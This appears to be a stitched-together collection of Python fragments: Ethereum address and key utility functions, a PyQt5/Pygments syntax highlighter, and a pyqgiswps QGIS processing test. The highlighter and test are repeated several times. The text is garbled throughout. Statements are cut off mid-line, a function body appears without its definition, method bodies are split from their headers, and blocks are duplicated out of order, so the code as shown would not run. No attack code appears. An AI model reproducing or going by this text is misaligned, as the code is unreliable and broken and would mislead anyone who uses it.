        o[31 - x] = i & 0xFF
        i >>= 8
    return o

assert (
    encode_hex(sha3(b""))
    == "c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470"
)

@Memoize
def privtoaddr(k):
    k = normalize_key(k)
    x, y = privtopub(k)
    return sha3(encode_int32(x) + encode_int32(y))[12:]

def checksum_encode(addr):  # Takes a 20-byte binary address as input
    addr = normalize_address(addr)
    o = ""
    v = big_endian_to_int(sha3(addr))
    for i, c in enumerate(encode_hex(addr)):
        if c in "0123456789":
            o += c
        else:
            o += c.upper() if (v & (2 ** (255 - 4 * i))) else c.lower()
    return "0x" + o

def check_checksum(addr):
    return checksum_encode(normalize_address(addr)) == addr

def normalize_address(x, allow_blank=False):
    if is_numeric(x):
        return int_to_addr(x)
    if allow_blank and x in {"", b""}:
        return b""
    if len(x) in (42, 50) and x[:2] in {"0x", b"0x"}:
        x = x[2:]
    if len(x) in (40, 48):
        x = decode_hex(x)
    if len(x) == 24:
        assert len(x) == 24 and sha3(x[:20])[:4] == x[-4:]
        x = x[:20]
    if len(x) != 20:
        raise Exception("Invalid address format: %r" % x)
    return x

def normalize_key(key):
    if is_numeric(key):
        o = encode_int32(key)
    elif len(key) == 32:
        o = key
    elif len(key) == 64:
        o = decode_hex(key)
    elif len(key) == 66 and key[:2] == "0x":
        o = decode_hex(key[2:])
    else:
        raise Exception("Invalid key format: %r" % key)
    if o == b"\x00" * 32:
        raise Exception("Zero privkey invalid")
    return o

def zpad(x, l):
    """ Left zero pad value `x` at least to length `l`.

    >>> zpad('', 1)
    '\x00'
    >>> zpad('\xca\xfe', 4)
    '\x00\x00\xca\xfe'
    >>> zpad('\xff', 1)
    '\xff'
    >>> zpad('\xca\xfe', 2)
    '\xca\xfe'
    """
    return b"\x00" * max(0, l - len(x)) + x

def rzpad(value, total_length):
    """ Right zero pad value `x` at least to length `l`.

    >>> zpad('', 1)
    '\x00'
    >>> zpad('\xca\xfe', 4)
    '\xca\xfe\x00\x00'
    >>> zpad('\xff', 1)
    '\xff'
    >>> zpad('\xca\xfe', 2)
    '\xca\xfe'
    """
    return value + b"\x00" * max(0, total_length - len(value))

def int_to_addr(x):
    o = [b""] * 20
    for i in range(20):
        o[19 - i] = ascii_chr(x & 0xFF)
        x >>= 8
    return b"".join(o)

def coerce_addr_to_bin(x):
    if is_numeric(x):
        return encode_hex(zpad(big_endian_int.serialize(x), 20))
    elif len(x) == 40 or len(x) == 0:
        return decode_hex(x)
    else:
        return zpad(x, 20)[-20:]

def coerce_addr_to_hex(x):
    if is_numeric(x):
        return encode_hex(zpad(big_endian_int.serialize(x), 20))
    elif len(x) == 40 or len(x) == 0:
        return x
    else:
        return encode_hex(zpad(x, 20)[-20:])

def coerce_to_int(x):
    if is_numeric(x):
        return x
    elif len(x) == 40:
        return big_endian_to_int(decode_hex(x))
    else:
        return big_endian_to_int(x)

def coerce_to_bytes(x):
    if is_numeric(x):
        return big_endian_int.serialize(x)
    elif len(x) == 40:
        return decode_hex(x)
    else:
        return x

def parse_int_or_hex(s):
    if is_numeric(s):
        return s
    elif s[:2] in (b"0x", "0x"):
        s = to_string(s)
        tail = (b"0" if len(s) % 2 else b"") + s[2:]
        return big_endian_to_int(decode_hex(tail))
    else:
        return int(s)

def ceil32(x):
    return x if x % 32 == 0 else x + 32 - (x % 32)

def to_signed(i):
    return i if i < TT255 else i - TT256

def sha3rlp(x):
    return sha3(rlp.encode(x))

# Format encoders/decoders for bin, addr, int

def decode_bin(v):
    """decodes a bytearray from serialization"""
    if not is_string(v):
        raise Exception("Value must be binary, not RLP array")
    return v

def decode_addr(v):
    """decodes an address from serialization"""
    if len(v) not in [0, 20]:
        raise Exception("Serialized addresses must be empty or 20 bytes long!")
    return encode_hex(v)

def decode_int(v):
    """decodes and integer from serialization"""
    if len(v) > 0 and (v[0] == b"\x00" or v[0] == 0):
        raise Exception("No leading zero bytes allowed for integers")
    return big_endian_to_int(v)

def decode_int256(v):
    return big_endian_to_int(v)

def encode_bin(v):
    """encodes a bytearray into serialization"""
    return v

def encode_root(v):
    """encodes a trie root into serialization"""
    return v

def encode_int(v):
    """encodes an integer into serialization"""
    if not is_numeric(v) or v < 0 or v >= TT256:
        raise Exception("Integer invalid or out of range: %r" % v)
    return int_to_big_endian(v)

def encode_int256(v):
    return zpad(int_to_big_endian(v), 256)

def scan_bin(v):
    if v[:2] in ("0x", b"0x"):
        return decode_hex(v[2:])
    else:
        return decode_hex(v)

def scan_int(v):
    if v[:2] in ("0x", b"0x"):
        return big_endian_to_int(decode_hex(v[2:]))
    else:
        return int(v)

# Decoding from RLP serialization
decoders = {
    "bin": decode_bin,
    "addr": decode_addr,
    "int": decode_int,
    "int256b": decode_int256,
}

# Encoding to RLP serialization
encoders = {
    "bin": encode_bin,
    "int": encode_int,
    "trie_root": encode_root,
    "int256b": encode_int256,
}

# Encoding to printable format
printers = {
    "bin": lambda v: "0x" + encode_hex(v),
    "addr": lambda v: v,
    "int": lambda v: to_string(v),
    "trie_root": lambda v: encode_hex(v),
    "int256b": lambda x: encode_hex(zpad(encode_int256(x), 256)),
}

# Decoding from printable format
scanners = {
    "bin": scan_bin,
    "addr": lambda x: x[2:] if x[:2] in (b"0x", "0x") else x,
    "int": scan_int,
    "trie_root": lambda x: scan_bin,
    "int256b": lambda x: big_endian_to_int(decode_hex(x)),
}

def int_to_hex(x):
    o = encode_hex(encode_int(x))
    return "0x" + (o[1:] if (len(o) > 0 and o[0] == b"0") else o)

def remove_0x_head(s):
    return s[2:] if s[:2] in (b"0x", "0x") else s

def parse_as_bin(s):
    return decode_hex(s[2:] if s[:2] == "0x" else s)

def parse_as_int(s):
    return s if is_numeric(s) else int("0" + s[2:], 16) if s[:2] == "0x" else int(s)

def print_func_call(ignore_first_arg=False, max_call_number=100):
    """ utility function to facilitate debug, it will print input args before
    function call, and print return value after function call

    usage:

        @print_func_call
        def some_func_to_be_debu():
            pass

    :param ignore_first_arg: whether print the first arg or not.
    useful when ignore the `self` parameter of an object method call
    """
    from functools import wraps

    def display(x):
        x = to_string(x)

        return x

    local = {"call_number": 0}

    def inner(f):
        @wraps(f)
        def wrapper(*args, **kwargs):
            local["call_number"] += 1
            tmp_args = args[1:] if ignore_first_arg and len(args) else args
            this_call_number = local["call_number"]
            print(
                (
                    "{0}#{1} args: {2}, {3}".format(
                        f.__name__,
                        this_call_number,
                        ", ".join([display(x) for x in tmp_args]),
                        ", ".join(
                            display(key) + "=" + to_string(value)
                            for key, value in kwargs.items()
                        ),
                    )
                )
            )
            res = f(*args, **kwargs)
            print(
                (
                    "{0}#{1} return: {2}".format(
                        f.__name__, this_call_number, display(res)
                    )
                )
            )

            if local["call_number"] > 100:
                raise Exception("Touch max call number!")
            return res

        return wrapper

    return inner

def dump_state(trie):
    res = ""
    for k, v in list(trie.to_dict().items()):
        res += "%r:%r\n" % (encode_hex(k), encode_hex(v))
    return res

class Denoms:
    def __init__(self):
        self.wei = 1
        self.babbage = 10 ** 3
        self.ada = 10 ** 3
        self.kwei = 10 ** 6
        self.lovelace = 10 ** 6
        self.mwei = 10 ** 6
        self.shannon = 10 ** 9
        self.gwei = 10 ** 9
        self.szabo = 10 ** 12
        self.finney = 10 ** 15
        self.mether = 10 ** 15
        self.ether = 10 ** 18
        self.turing = 2 ** 256 - 1

denoms = Denoms()

address = Binary.fixed_length(20, allow_empty=True)
int20 = BigEndianInt(20)
int32 = BigEndianInt(32)
int256 = BigEndianInt(256)
hash32 = Binary.fixed_length(32)
trie_root = Binary.fixed_length(32, allow_empty=True)

def add_dict(d: Dict, other: Dict):
    for k, v in other.items():
        d[k] = d.get(k, 0) + v

class bcolors:
    HEADER = "\033[95m"
    OKBLUE = "\033[94m"
    OKGREEN = "\033[92m"
    WARNING = "\033[91m"
    FAIL = "\033[91m"
    ENDC = "\033[0m"
    BOLD = "\033[1m"
    UNDERLINE = "\033[4m"

def DEBUG(msg, *args, **kwargs):
    from ethereum import slogging

    slogging.DEBUG(msg, *args, **kwargs)


from PyQt5.QtGui import QFont, QSyntaxHighlighter, QTextCharFormat, QColor
from PyQt5.QtWidgets import QApplication, QMainWindow, QTextEdit
from pygments import highlight
from pygments.lexers.python import Python3Lexer
from pygments.formatter import Formatter
from pygments.token import Name, Keyword

r=int(c[0:2],16)
    g=int(c[2:4],16)
    b=int(c[4:6],16)
    return QColor(r,g,b)

class ViewerLexer(Python3Lexer):
    extra_vars = {'vi', 'all_modules', 'image_utils', 'viewer'}
    extra_callables = {'update_workEnv', 'clear_workEnv', 'get_module', 'get_batch_manager', 'get_workEnv', 'get_image, get_meta'}
    extra_classes = {'ViewerWorkEnv', 'ImgData'}

    def get_tokens_unprocessed(self, text):
        for index, token, value in Python3Lexer.get_tokens_unprocessed(self, text):
            if token is Name and value in self.extra_vars:
                yield index, Name.Namespace, value
            elif token is Name and value in self.extra_callables:
                yield index, Name.Function, value
            elif token is Name and value in self.extra_classes:
                yield index, Name.Class, value
            else:
                yield index, token, value

class QFormatter(Formatter):
    def __init__(self):
        Formatter.__init__(self)
        self.data = []

        self.styles = {}
        for token, style in self.style:
            qtf = QTextCharFormat()

            if style['color']:
                qtf.setForeground(hex2QColor(style['color']))
            if style['bgcolor']:
                qtf.setBackground(hex2QColor(style['bgcolor']))
            if style['bold']:
                qtf.setFontWeight(QFont.Bold)
            if style['italic']:
                qtf.setFontItalic(True)
            if style['underline']:
                qtf.setFontUnderline(True)
            self.styles[str(token)] = qtf

    def format(self, tokensource, outfile):
        global styles
        self.data = []

        for ttype, value in tokensource:
            l = len(value)
            t = str(ttype)
            self.data.extend([self.styles[t], ] * l)

class Highlighter(QSyntaxHighlighter):
    def __init__(self, parent=None):
        super(Highlighter, self).__init__(parent)
        self.formatter = QFormatter()
        self.lexer = ViewerLexer()

    def highlightBlock(self, text):

        cb = self.currentBlock()
        p = cb.position()

        text = self.document().toPlainText()

        highlight(text, self.lexer, self.formatter)

        for i in range(len(text)):
            try:
                self.setFormat(i, 1, self.formatter.data[p + i])
            except IndexError:
                pass


global styles
        self.data = []

        for ttype, value in tokensource:
            l = len(value)
            t = str(ttype)
            self.data.extend([self.styles[t], ] * l)

from PyQt5.QtGui import QFont, QSyntaxHighlighter, QTextCharFormat, QColor
from PyQt5.QtWidgets import QApplication, QMainWindow, QTextEdit
from pygments import highlight
from pygments.lexers.python import Python3Lexer
from pygments.formatter import Formatter
from pygments.token import Name, Keyword

def hex2QColor(c):
    r=int(c[0:2],16)
    g=int(c[2:4],16)
    b=int(c[4:6],16)
    return QColor(r,g,b)

class ViewerLexer(Python3Lexer):
    extra_vars = {'vi', 'all_modules', 'image_utils', 'viewer'}
    extra_callables = {'update_workEnv', 'clear_workEnv', 'get_module', 'get_batch_manager', 'get_workEnv', 'get_image, get_meta'}
    extra_classes = {'ViewerWorkEnv', 'ImgData'}

    def get_tokens_unprocessed(self, text):
        for index, token, value in Python3Lexer.get_tokens_unprocessed(self, text):
            if token is Name and value in self.extra_vars:
                yield index, Name.Namespace, value
            elif token is Name and value in self.extra_callables:
                yield index, Name.Function, value
            elif token is Name and value in self.extra_classes:
                yield index, Name.Class, value
            else:
                yield index, token, value

class QFormatter(Formatter):
    def __init__(self):
        Formatter.__init__(self)
        self.data = []

        self.styles = {}
        for token, style in self.style:
            qtf = QTextCharFormat()

            if style['color']:
                qtf.setForeground(hex2QColor(style['color']))
            if style['bgcolor']:
                qtf.setBackground(hex2QColor(style['bgcolor']))
            if style['bold']:
                qtf.setFontWeight(QFont.Bold)
            if style['italic']:
                qtf.setFontItalic(True)
            if style['underline']:
                qtf.setFontUnderline(True)
            self.styles[str(token)] = qtf

    def format(self, tokensource, outfile):

class Highlighter(QSyntaxHighlighter):
    def __init__(self, parent=None):
        super(Highlighter, self).__init__(parent)
        self.formatter = QFormatter()
        self.lexer = ViewerLexer()

    def highlightBlock(self, text):

        cb = self.currentBlock()
        p = cb.position()

        text = self.document().toPlainText()

        highlight(text, self.lexer, self.formatter)

        for i in range(len(text)):
            try:
                self.setFormat(i, 1, self.formatter.data[p + i])
            except IndexError:
                pass


from PyQt5.QtGui import QFont, QSyntaxHighlighter, QTextCharFormat, QColor
from PyQt5.QtWidgets import QApplication, QMainWindow, QTextEdit
from pygments import highlight
from pygments.lexers.python import Python3Lexer
from pygments.formatter import Formatter
from pygments.token import Name, Keyword

def hex2QColor(c):
    r=int(c[0:2],16)
    g=int(c[2:4],16)
    b=int(c[4:6],16)
    return QColor(r,g,b)

class ViewerLexer(Python3Lexer):
    extra_vars = {'vi', 'all_modules', 'image_utils', 'viewer'}
    extra_callables = {'update_workEnv', 'clear_workEnv', 'get_module', 'get_batch_manager', 'get_workEnv', 'get_image, get_meta'}
    extra_classes = {'ViewerWorkEnv', 'ImgData'}

    def get_tokens_unprocessed(self, text):
        for index, token, value in Python3Lexer.get_tokens_unprocessed(self, text):
            if token is Name and value in self.extra_vars:
                yield index, Name.Namespace, value
            elif token is Name and value in self.extra_callables:
                yield index, Name.Function, value
            elif token is Name and value in self.extra_classes:
                yield index, Name.Class, value
            else:
                yield index, token, value

class QFormatter(Formatter):
    def __init__(self):
        Formatter.__init__(self)
        self.data = []

        self.styles = {}
        for token, style in self.style:
            qtf = QTextCharFormat()

            if style['color']:
                qtf.setForeground(hex2QColor(style['color']))
            if style['bgcolor']:
                qtf.setBackground(hex2QColor(style['bgcolor']))
            if style['bold']:
                qtf.setFontWeight(QFont.Bold)
            if style['italic']:
                qtf.setFontItalic(True)
            if style['underline']:
                qtf.setFontUnderline(True)
            self.styles[str(token)] = qtf

    def format(self, tokensource, outfile):
        global styles
        self.data = []

        for ttype, value in tokensource:
            l = len(value)
            t = str(ttype)
            self.data.extend([self.styles[t], ] * l)

class Highlighter(QSyntaxHighlighter):
    def __init__(self, parent=None):
        super(Highlighter, self).__init__(parent)
        self.formatter = QFormatter()
        self.lexer = ViewerLexer()

    def highlightBlock(self, text):

        cb = self.currentBlock()
        p =

        text = self.document().toPlainText()

        highlight(text, self.lexer, self.formatter)

        for i in range(len(text)):
            try:
                self.setFormat(i, 1, self.formatter.data[p + i])
            except IndexError:
                pass


try:
                self.setFormat(i, 1, self.formatter.data[p + i])
            except IndexError:
                pass

from PyQt5.QtGui import QFont, QSyntaxHighlighter, QTextCharFormat, QColor
from PyQt5.QtWidgets import QApplication, QMainWindow, QTextEdit
from pygments import highlight
from pygments.lexers.python import Python3Lexer
from pygments.formatter import Formatter
from pygments.token import Name, Keyword

def hex2QColor(c):
    r=int(c[0:2],16)
    g=int(c[2:4],16)
    b=int(c[4:6],16)
    return QColor(r,g,b)

class ViewerLexer(Python3Lexer):
    extra_vars = {'vi', 'all_modules', 'image_utils', 'viewer'}
    extra_callables = {'update_workEnv', 'clear_workEnv', 'get_module', 'get_batch_manager', 'get_workEnv', 'get_image, get_meta'}
    extra_classes = {'ViewerWorkEnv', 'ImgData'}

    def get_tokens_unprocessed(self, text):
        for index, token, value in Python3Lexer.get_tokens_unprocessed(self, text):
            if token is Name and value in self.extra_vars:
                yield index, Name.Namespace, value
            elif token is Name and value in self.extra_callables:
                yield index, Name.Function, value
            elif token is Name and value in self.extra_classes:
                yield index, Name.Class, value
            else:
                yield index, token, value

class QFormatter(Formatter):
    def __init__(self):
        Formatter.__init__(self)
        self.data = []

        self.styles = {}
        for token, style in self.style:
            qtf = QTextCharFormat()

            if style['color']:
                qtf.setForeground(hex2QColor(style['color']))
            if style['bgcolor']:
                qtf.setBackground(hex2QColor(style['bgcolor']))
            if style['bold']:
                qtf.setFontWeight(QFont.Bold)
            if style['italic']:
                qtf.setFontItalic(True)
            if style['underline']:
                qtf.setFontUnderline(True)
            self.styles[str(token)] = qtf

    def format(self, tokensource, outfile):
        global styles
        self.data = []

        for ttype, value in tokensource:
            l = len(value)
            t = str(ttype)
            self.data.extend([self.styles[t], ] * l)

class Highlighter(QSyntaxHighlighter):
    def __init__(self, parent=None):
        super(Highlighter, self).__init__(parent)
        self.formatter = QFormatter()
        self.lexer = ViewerLexer()

    def highlightBlock(self, text):

        cb = self.currentBlock()
        p = cb.position()

        text = self.document().toPlainText()

        highlight(text, self.lexer, self.formatter)

        for i in range(len(text)):


def __init__(self, project: QgsProject, workdir: PathLike ) -> None:

""" Test parsing processing itputs to WPS inputs
"""
import os
from os import PathLike
from urllib.parse import urlparse, parse_qs, urlencode

from typing import Tuple

from pyqgiswps.utils.contexts import chdir
from pyqgiswps.utils.filecache import get_valid_filename

from pyqgiswps.inout import (LiteralInput,
                        ComplexInput,
                        BoundingBoxInput,
                        LiteralOutput,
                        ComplexOutput,
                        BoundingBoxOutput)

from pyqgiswps.validator.allowed_value import ALLOWEDVALUETYPE
from pyqgiswps.executors.processingio import(
            parse_input_definition,
            parse_output_definition,
            input_to_processing,
            processing_to_output,
        )

from pyqgiswps.executors.processingprocess import(
            run_algorithm,
            _find_algorithm)

from qgis.core import QgsApplication
from qgis.core import (QgsProcessingParameterNumber,
                       QgsProcessingParameterEnum,
                       QgsProcessingOutputLayerDefinition,
                       QgsProcessingOutputHtml,
                       QgsProcessingOutputRasterLayer,
                       QgsProcessingOutputVectorLayer,
                       QgsProcessingParameterFeatureSink,
                       QgsProcessingParameterVectorDestination,
                       QgsProcessingParameterRasterDestination,
                       QgsProcessingParameterFile,
                       QgsProcessingParameterField,
                       QgsProcessingUtils,
                       QgsProcessingFeedback,
                       QgsProcessingContext,
                       QgsReferencedRectangle,
                       QgsRectangle,
                       QgsCoordinateReferenceSystem,
                       QgsProject)

from processing.core.Processing import Processing

class Context(QgsProcessingContext):

super().__init__()
        self.workdir = str(workdir)
        self.setProject(project)

        # Create the destination project
        self.destination_project = QgsProject()

    def write_result(self, workdir:str , name:str) -> Tuple[bool,str]:
        """ Save results to disk
        """
        name = get_valid_filename(name)
        return self.destination_project.write(os.path.join(workdir,name+'.qgs')), name

def test_centroides_algorithms(outputdir, data):
    """ Execute an algorithm from a model
    """
    alg = _find_algorithm('model:centroides')

    # Load source project
    source      = QgsProject()
    rv = source.read(str(data/'france_parts.qgs'))
    assert rv == True

    context  = Context(source, outputdir)
    feedback = QgsProcessingFeedback()

    inputs  = { p.name(): [parse_input_definition(p)] for p in  alg.parameterDefinitions() }
    outputs = { p.name(): parse_output_definition(p) for p in  alg.outputDefinitions() }

    inputs['input'][0].data = 'france_parts'
    inputs['native:centroids_1:OUTPUT'][0].data = 'output_layer'

    parameters = dict( input_to_processing(ident, inp, alg, context) for ident,inp in inputs.items() )

    assert isinstance( parameters['native:centroids_1:OUTPUT'], QgsProcessingOutputLayerDefinition)

    destination_name = parameters['native:centroids_1:OUTPUT'].destinationName
    assert destination_name == 'output_layer'

    # Destination project
    destination_project = get_valid_filename(alg.id())

    context.wms_url = "http://localhost/wms/?MAP=test/{name}.qgs".format(name=destination_project)
    # Run algorithm
    with chdir(outputdir):
        results = run_algorithm(alg, parameters=parameters, feedback=feedback, context=context,
                                outputs=outputs)

    assert context.destination_project.count() == 1

    out = outputs.get('native:centroids_1:OUTPUT')
    assert out.data_format.mime_type == "application/x-ogc-wms"

    query = parse_qs(urlparse(out.url).query)
    assert query['layers'][0] == destination_name

    # Get the layer
    layers = context.destination_project.mapLayersByName(destination_name)
    assert len(layers) == 1


super().__init__()
        self.workdir = str(workdir)
        self.setProject(project)

        # Create the destination project
        self.destination_project = QgsProject()

""" Test parsing processing itputs to WPS inputs
"""
import os
from os import PathLike
from urllib.parse import urlparse, parse_qs, urlencode

from typing import Tuple

from pyqgiswps.utils.contexts import chdir
from pyqgiswps.utils.filecache import get_valid_filename

from pyqgiswps.inout import (LiteralInput,
                        ComplexInput,
                        BoundingBoxInput,
                        LiteralOutput,
                        ComplexOutput,
                        BoundingBoxOutput)

from pyqgiswps.validator.allowed_value import ALLOWEDVALUETYPE
from pyqgiswps.executors.processingio import(
            parse_input_definition,
            parse_output_definition,
            input_to_processing,
            processing_to_output,
        )

from pyqgiswps.executors.processingprocess import(
            run_algorithm,
            _find_algorithm)

from qgis.core import QgsApplication
from qgis.core import (QgsProcessingParameterNumber,
                       QgsProcessingParameterEnum,
                       QgsProcessingOutputLayerDefinition,
                       QgsProcessingOutputHtml,
                       QgsProcessingOutputRasterLayer,
                       QgsProcessingOutputVectorLayer,
                       QgsProcessingParameterFeatureSink,
                       QgsProcessingParameterVectorDestination,
                       QgsProcessingParameterRasterDestination,
                       QgsProcessingParameterFile,
                       QgsProcessingParameterField,
                       QgsProcessingUtils,
                       QgsProcessingFeedback,
                       QgsProcessingContext,
                       QgsReferencedRectangle,
                       QgsRectangle,
                       QgsCoordinateReferenceSystem,
                       QgsProject)

from processing.core.Processing import Processing

class Context(QgsProcessingContext):

    def __init__(self, project: QgsProject, workdir: PathLike ) -> None:

    def write_result(self, workdir:str , name:str) -> Tuple[bool,str]:
        """ Save results to disk
        """
        name = get_valid_filename(name)
        return self.destination_project.write(os.path.join(workdir,name+'.qgs')), name

def test_centroides_algorithms(outputdir, data):
    """ Execute an algorithm from a model
    """
    alg = _find_algorithm('model:centroides')

    # Load source project
    source      = QgsProject()
    rv = source.read(str(data/'france_parts.qgs'))
    assert rv == True

    context  = Context(source, outputdir)
    feedback = QgsProcessingFeedback()

    inputs  = { p.name(): [parse_input_definition(p)] for p in  alg.parameterDefinitions() }
    outputs = { p.name(): parse_output_definition(p) for p in  alg.outputDefinitions() }

    inputs['input'][0].data = 'france_parts'
    inputs['native:centroids_1:OUTPUT'][0].data = 'output_layer'

    parameters = dict( input_to_processing(ident, inp, alg, context) for ident,inp in inputs.items() )

    assert isinstance( parameters['native:centroids_1:OUTPUT'], QgsProcessingOutputLayerDefinition)

    destination_name = parameters['native:centroids_1:OUTPUT'].destinationName
    assert destination_name == 'output_layer'

    # Destination project
    destination_project = get_valid_filename(alg.id())

    context.wms_url = "http://localhost/wms/?MAP=test/{name}.qgs".format(name=destination_project)
    # Run algorithm
    with chdir(outputdir):
        results = run_algorithm(alg, parameters=parameters, feedback=feedback, context=context,
                                outputs=outputs)

    assert context.destination_project.count() == 1

    out = outputs.get('native:centroids_1:OUTPUT')
    assert out.data_format.mime_type == "application/x-ogc-wms"

    query = parse_qs(urlparse(out.url).query)
    assert query['layers'][0] == destination_name

    # Get the layer
    layers = context.destination_project.mapLayersByName(destination_name)
    assert len(layers) == 1